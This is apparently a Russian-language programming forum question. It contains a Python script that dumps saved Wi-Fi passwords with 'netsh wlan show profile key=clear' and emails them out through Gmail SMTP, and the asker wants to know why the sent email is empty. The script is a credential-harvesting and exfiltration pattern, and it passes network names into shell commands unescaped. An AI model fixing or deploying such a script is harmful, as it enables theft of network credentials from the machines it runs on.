Я делаю программу, которая выполняет команду Windows, показывая сохраненные пароли Wi-Fi в текущей системе и отправляет результат по электронной почте, но каждый раз, когда я запускаю программу, отправляемая е-мейл почта пуста
#!/usr/bin/env python
import subprocess
import smtplib
import re
def get_name(regex, string):
names_list = re.findall(regex, string)
return_list = ""
for name in names_list:
return_list = return_list + name
return return_list
def get_password(regex, string):
password_list = re.findall(regex, string)
return_list = ""
for password in password_list:
return_list = return_list + password
return return_list
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
# Crafts and sends email .sendmail(from, to, content)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
names_list = get_name("(?:Name\s*:\s)(.*)", current_result)
#print(names_list)
password_list = get_password( "(?:Key Content\s.*:\s)(.*)",
current_result)
#print(password_list)
result = result + "Names: " + names_list + " Passwords: " +
password_list
#print(result)
send_mail(email, password, result)
последнийпрокомментировал print()
показывает имя и пароль wifi, сохраненные в переменной result
, но когда я передаю result
в функции send_mail()
, полученное письмо становится пустым
edit: при попытке result = result + "Names: " + names_list + password_list
в нем не добавляется переменная names_list
и отправляется только электронное письмо, содержащее переменную password_list
, я хотел бы, чтобы письмо читало Name: names_list password: password_list
с именами и паролями в разных строках